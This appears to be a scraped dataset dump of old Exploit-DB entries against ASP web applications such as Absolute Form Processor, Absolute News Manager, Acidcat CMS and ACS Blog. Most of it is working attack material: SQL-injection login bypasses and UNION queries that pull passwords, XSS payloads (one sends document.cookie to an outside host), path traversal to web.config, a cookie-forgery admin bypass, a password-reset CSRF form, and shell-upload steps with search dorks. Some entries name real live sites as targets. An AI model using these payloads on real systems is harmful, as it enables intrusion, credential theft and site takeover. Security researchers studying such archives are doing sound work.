deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32898
Description: Absolute Form Processor XE 1.5 - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2009-04-09
Author: ThE g0bL!N

Exploit:
source: https://www.securityfocus.com/bid/34463/info

Absolute Form Processor XE is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Absolute Form Processor XE 1.5 is vulnerable; other versions may also be affected. 

The following example input is available:

username: ' or '1=1
Exploit-DB #8529
Description: Absolute Form Processor XE-V 1.5 - Insecure Cookie Handling
Type: webapps
Platform: asp
Date: 2009-04-24
Author: ZoRLu

Exploit:
[~] Absolute Form Processor XE-V 1.5 Insecure Cookie Handling Vuln
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 11.04.2009
[~]
[~] Home: yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com
[~]
[~] msn: trt-turk@hotmail.com
[~] 
[~] N0T: Herkes Hecker Olmus :S
[~]
[~] N0T: if you wanna learn hack you must be register to my site yildirimordulari.com
[~] -----------------------------------------------------------

exploit: 

javascript:document.cookie = "xlaAFPadmin=lvl=1&userid=1; path=/";

after you go here:

http://www.xigla.com/absolutefp/demo/menu.asp


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone
[~]
[~] yildirimordulari.com / experl.com / z0rlu.blogspot.com / woltaj.org / dafgamers.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-04-24]
Exploit-DB #8530
Description: Absolute Form Processor XE-V 1.5 - Remote Change Password
Type: webapps
Platform: asp
Date: 2009-04-24
Author: ThE g0bL!N

Exploit:
<title> Absolute Form Processor XE-V 1.5 Remote Change Pasword  </title>
<body bgcolor="#FFFFFF" text="#000000">
<form name="form1" method="post" action="http://www.xigla.com/absolutefp/demo/edituser.asp">
  <table width="96%" border="0" cellspacing="2" cellpadding="2" align="center">
    <tr>
      <td>Home:http://www.xigla.com</td>

    
          <input type="hidden" name="userid" value="1">
          
        </div></td>
    </tr>
    <tr>
      <td colspan="2" bgcolor="#666666"></td>
    </tr>

    
    <tr valign="top" align="left">
      <td width="27%" bgcolor="#CCCCCC"><b><font size="2" face="Arial, Helvetica, sans-serif">E-mail
        :</font></b></td>
      <td width="71%" bgcolor="#F3F3F3"><b><font size="2" face="Arial, Helvetica, sans-serif">
        <input type="text" name="email" size="40" value="email@here.com" maxlength="250" >

        </font></b></td>
    </tr>
    <tr valign="top" align="left">
      <td width="27%" bgcolor="#CCCCCC"><b><font size="2" face="Arial, Helvetica, sans-serif">Username
        :</font></b></td>
      <td width="71%" bgcolor="#F3F3F3"><b><font size="2" face="Arial, Helvetica, sans-serif">
        <input type="text" name="usr" size="40" value="admin" maxlength="250">
        </font></b></td>
    </tr>
    
    <tr valign="top" align="left">
      <td width="27%" bgcolor="#CCCCCC" height="27"><b><font size="2" face="Arial, Helvetica, sans-serif">Password
        :</font></b></td>

      <td width="71%" bgcolor="#F3F3F3" height="27"><b><font size="2" face="Arial, Helvetica, sans-serif">
        <input type="password" name="pwd" size="40" value="admin" maxlength="250">
        </font></b></td>
    </tr>
    
    </form>
<p><b><font face="Arial, Helvetica, sans-serif" size="2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Cod[3]d By ThE g0bL!N</font></b></p>
    <tr>
      <td width="28%" bgcolor="#CCCCCC">&nbsp; </td>
      <td width="72%" bgcolor="#F3F3F3"> <input type="submit" name="button" value="Save User">
      </td>
    </tr>

# milw0rm.com [2009-04-24]
Exploit-DB #30844
Description: Absolute News Manager .NET 5.1 - '/pages/default.aspx?template' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-12-04
Author: Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/26692/info
   
Absolute News Manager .NET is prone to multiple remote vulnerabilities, including multiple cross-site scripting, SQL-injection, and information-disclosure issues.
   
Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
These issues affect Absolute News Manager .NET 5.1; other versions may also be vulnerable.
  
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=%3Cscript%3Ealert(2)%3C/script%3E
Exploit-DB #30841
Description: Absolute News Manager .NET 5.1 - '/pages/default.aspx?template' Remote File Access
Type: webapps
Platform: asp
Date: 2007-12-04
Author: Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/26692/info

Absolute News Manager .NET is prone to multiple remote vulnerabilities, including multiple cross-site scripting, SQL-injection, and information-disclosure issues.

Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect Absolute News Manager .NET 5.1; other versions may also be vulnerable. 

http://www.example.com/[CustomerDefinedDir]/pages/default.aspx?a=1&template=../web.config
http://www.example.com/[CustomerDefinedDir]/pages/default.aspx?a=1&template=default.aspx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../anmviewer.ascx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../default.aspx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../PPL1HistoryTicker.aspx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../xlagc.ascx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../xlaabsolutenm.aspx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../streamconfig.aspx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../incSystem.aspx%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../articlefiles/r.asp%00
http://www.example.com/[CustomerDefinedDir]/pages/?a=1&template=../incSystem.aspx%00
Exploit-DB #30845
Description: Absolute News Manager .NET 5.1 - 'getpath.aspx' Direct Request Error Message Information
Type: webapps
Platform: asp
Date: 2007-12-04
Author: Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/26692/info
    
Absolute News Manager .NET is prone to multiple remote vulnerabilities, including multiple cross-site scripting, SQL-injection, and information-disclosure issues.
    
Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
These issues affect Absolute News Manager .NET 5.1; other versions may also be vulnerable.

Webroot PoC:
Requesting the &#039;getpath.aspx&#039; demo script discloses the physical path of the webroot - ie:
http://www.example.com/[CustomerDefinedDir]/getpath.aspx

	"
	Absolute News Manager Physical Path :
	D:\inetpub\www.example.com\[CustomerDefinedDir]\

	Please delete this file from your installation.
	"
Exploit-DB #30843
Description: Absolute News Manager .NET 5.1 - 'xlaabsolutenm.aspx?rmore' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-12-04
Author: Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/26692/info
  
Absolute News Manager .NET is prone to multiple remote vulnerabilities, including multiple cross-site scripting, SQL-injection, and information-disclosure issues.
  
Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
These issues affect Absolute News Manager .NET 5.1; other versions may also be vulnerable.
 
http://www.example.com/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=1,7&sort=articleID&ord=desc&rmore=%3Cscript%3Ealert(1)%3C/script%3E&size=2&h=abc&isframe=y
Exploit-DB #30545
Description: Absolute Poll Manager XE 4.1 - 'xlaapmview.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-08-30
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/25492/info

Absolute Poll Manager XE is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Absolute Poll Manager XE 4.1; other versions may also be vulnerable. 

http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>alert("running+code+within+the+context+of+"%2bdocument.domain)</script> http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>location="http://www.example2.com/?"%2bdocument.cookie</script> http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=%3cscript%3elocation=%22http%3a//www.%65xample%2ecom/?%22%2bdocument.cookie%3c/script%3e&
Exploit-DB #6731
Description: Absolute Poll Manager XE 4.1 - 'xlacomments.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-10-11
Author: Hakxer

Exploit:
###############################################################################################
# Author : Hakxer
# Home : Www.educ-up.com
# Type Gap : Sql injection --((MSSQL Injection))--
# script : Absolute Poll Manager XE  [see script] http://www.xigla.com/absolutepm/demo.htm
# Greetz : Allah , Egyptian x Hacker , Soufiane , Sinaritx , SQL_inj4ct0r , Stealth , Kof2002 
# TM : EgY Coders 
#################################################################################################

### POC 
www.site.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+user))

### Exploit : 

http://www.xigla.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+@@version))

http://www.xigla.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+user))

http://www.xigla.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+db_name(1)))

http://www.xigla.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+db_name(2)))

http://www.xigla.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+db_name(3)))

###############################################################################

-------------------------------- The End of Gap -----------------------------------

# milw0rm.com [2008-10-11]
Exploit-DB #10582
Description: Absolute Shopping Cart - SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-21
Author: Gamoscu

Exploit:
#############################################################
# Absolute Shopping Cart SQL Injection Vulnerability

# Vendor: http://www.absoluteshoppingcart.co.uk/Category-195/Shopping-Cart-Demo

# Author: Gamoscu

# Site: www.1923turk.biz

# Site: http://gamoscu.wordpress.com/
  
##############################################################



 
# Exploit: http://server/latest_detail.asp?prod_id=SQL
    
           1+and+1=2+union+select+1,2,3,version(),5,6,7,8,9/*
         
 
##############################################################
# Greetz: Manas58 Baybora Delibey Tiamo Psiko
##############################################################


Vatan Lafla Degil Eylemle Sevilir


Kiskananlar catlasin Zorunuza Gitmesin
Exploit-DB #12424
Description: Acart 2.0 Shopping Cart - Software Backup Dump
Type: webapps
Platform: asp
Date: 2010-04-27
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Acart <= 2.0 Shopping Cart Software Backup Dump Vulnerability           
| # Author   : indoushka                                                                                                              
| # Home     : www.iqs3cur1ty.com                                                                                                                                                                                                                        
| # Bug      : Backup                                                             
======================      Exploit By indoushka       =================================
 # Exploit  : 
 

     1 - http://127.0.0.1/acart1_0/acart.mdb 
     
     2- http://127.0.0.1/acart1_0/signin.asp
     
  you find the information in the db. version 2.0 uses "acart2_0.mdb"
                    
Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #8132
Description: Access2asp - 'imageLibrar' Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2009-03-02
Author: mr.al7rbi

Exploit:
                         ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   .  


################################################################
#           upload shell
#
#           Found by ::: mr.al7rbi
#
#           Contact  ::: n16 [at] live.com
#
#           my Group ::: islam-defenders Team
#
################################################################


[+] Title: imageLibrary


[dork]

inurl:"default_Image.asp"

[+] EXPLOITS:

http://www.site.com/imageLibrary//admin/images/default_Image.asp

[exp:]  

http://www.davidhalpernmd.com/manage_tbps/default_Image.asp

[demo]

]http://www.access2asp.com/imageLibraryDemo/admin/images/default_Image.asp

[shell be like ]

http://www.access2asp.com/imageLibraryDemo/admin/images/win.asp


[+] Special  Greetz for :  www.sec-code.com

[+] Greetz : MaTrEx  & samkmk.almkkar & 3lo0osh  &  ili The General ili & Super-Code & BxH &all tryag members & all muslims

# milw0rm.com [2009-03-02]
Exploit-DB #36588
Description: Acidcat ASP CMS 3.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2012-01-21
Author: Avram Marius

Exploit:
source: https://www.securityfocus.com/bid/51608/info

Acidcat ASP CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Acidcat ASP CMS 3.5.1 and 3.5.2 are vulnerable; other versions may also be affected. 

http://www.example.com/admin/admin_colors.asp?"><script>alert('XSS')</script>

http://www.example.com/admin/admin_config.asp?"><script>alert('XSS')</script>

http://www.example.com/admin/admin_cat_add.asp?"><script>alert('XSS')</script>
Exploit-DB #26874
Description: Acidcat CMS 2.1.13 - 'acidcat.mdb' Remote Information Disclosure
Type: webapps
Platform: asp
Date: 2005-12-19
Author: admin@hamid.ir

Exploit:
source: https://www.securityfocus.com/bid/15933/info
 
Acidcat CMS is prone to multiple input validation vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Acidcat CMS version 2.1.13 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/acidcat/databases/acidcat.mdb
Exploit-DB #26873
Description: Acidcat CMS 2.1.13 - 'ID' SQL Injection
Type: webapps
Platform: asp
Date: 2005-12-19
Author: admin@hamid.ir

Exploit:
source: https://www.securityfocus.com/bid/15933/info

Acidcat CMS is prone to multiple input validation vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Acidcat CMS version 2.1.13 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/acidcat/default.asp?ID=1'

http://www.example.com/acidcat/default.asp?ID=26 union select 1,username,3,password,5,6 from Configuration
Exploit-DB #15597
Description: Acidcat CMS 3.3 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2010-11-22
Author: Net.Edit0r

Exploit:
============================================================================== 
 
        [»] Acidcat CMS v 3.3 (fckeditor) Shell Upload Vulnerability
 
============================================================================== 
 
    [»] Title   :           [ Acidcat CMS v 3.x (fckeditor) Shell Upload Vulnerability ]
 
    [»] Script  :           [ Mini-NUKE v2.3  ] 
 
    [»] Language:           [ ASP ] 
 
    [»] Download:           [ http://www.acidcat.com/default.asp?itemID=202&itemTitle=Download Free]
 
    [»] Author  :           [ Net.Edit0r - black.hat.tm@gmail.com }
 
    [»] My Home :           [ ajaxtm.com and datacoders.org ] 
 
    [»] Date    :           [ 2010-11-23 ] 
  
    [»] Version :           [ 3.3.X and 3.2.x ]

    [»] Dork    :           [ "Powered by Acidcat CMS " ]

   
 
########################################################################### 
 
    
===[ Exploit ]=== 
 
 
  [»] http://server/admin/fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/asp/connector.asp 
 
  [»] asp renamed via the .asp;.jpg (shell.asp;.jpg)

===[ Upload To ]===

  [»] http://server/read_write/file/[Shell] 

  [»] http://server/public/File/[Shell]


Greetz : HUrr!c4nE , H-SK33PY , Cair3x , B3hz4d , Skitt3r , M4hd1

     BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic  ~ keracker
                                  
 
###########################################################################
Exploit-DB #10972
Description: Acidcat CMS 3.5 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-01-03
Author: LionTurk

Exploit:
==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [»] ~ Note : Forever RevengeHack.Com-Ar-Ge.Org Acildi

==============================================================================  

        [»]Acidcat CMS v 3.5  Multi Vulnerability 

==============================================================================  

   

    [»] Script:             [  Mini-NUKE v2.3 Freehost  ]  

    [»] Language:           [ ASP ]  

    [»] Download:           [ http://www.acidcat.com/default.asp?itemID=202&itemTitle=Download Free] 

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com }

    [»] My Home:            [ RevengeHack.com and Ar-ge.Org ]  

    [»]N0T3    :             Yeni Aciklarimi Bekleyin.


###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [»] http://server/[dizin]/databases/acidcat_3.mdb

  [»] http://server/[dizin]/install.asp


 


  [»] Powered by Acidcat CMS v 3.5.1.f
 




Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZveng

                 

- Ben Ne Heykirlar Gordum  site heyklicek exploiti yok.Ben Ne exploitler gordum kullancak heykir yok :D

                                 


###########################################################################
Exploit-DB #925
Description: ACNews 1.0 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2005-04-09
Author: LaMeR

Exploit:
# http://www.google.com/search?hl=en&lr=&q=acnews+1.0+login.asp&btnG=Search
# /str0ke

Product:ACNews
version :1.0
VULNERABILITY CLASS: SQL injection

[exploit]
Log in with
username:' or 'x'='x
password :' or 'x'='x
from admin/login.asp page.

greetz to HaXoR & LOverboy

auther : LaMeR

securitygurus team

# milw0rm.com [2005-04-09]
Exploit-DB #25313
Description: ACS Blog 0.8/0.9/1.0/1.1 - 'Name' HTML Injection
Type: webapps
Platform: asp
Date: 2005-03-28
Author: Dan Crowley

Exploit:
source: https://www.securityfocus.com/bid/12921/info

ACS Blog is affected by an HTML injection vulnerability.

The issue affects the 'Name' field and may be exploited to execute arbitrary HTML and script code in the browser of the user when the user views an affected Web page. 

Name: &lt;script&gt;alert("xss");&lt;/script&gt;
Exploit-DB #25233
Description: ACS Blog 0.8/0.9/1.0/1.1 - 'search.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-03-17
Author: farhad koosha

Exploit:
source: https://www.securityfocus.com/bid/12836/info

ACS Blog is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com//search.asp?search=%22%3Cbr%3E%3Ciframe+src%3D%22http%3A%2F%2Fgoogle.com%22%3E%3C%2Fiframe%3E
Exploit-DB #25349
Description: Active Auction House - 'account.asp?ReturnURL' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-06
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13036/info
 
Active Auction House is reportedly affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/activeauctionsuperstore/account.asp?ReturnURL=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E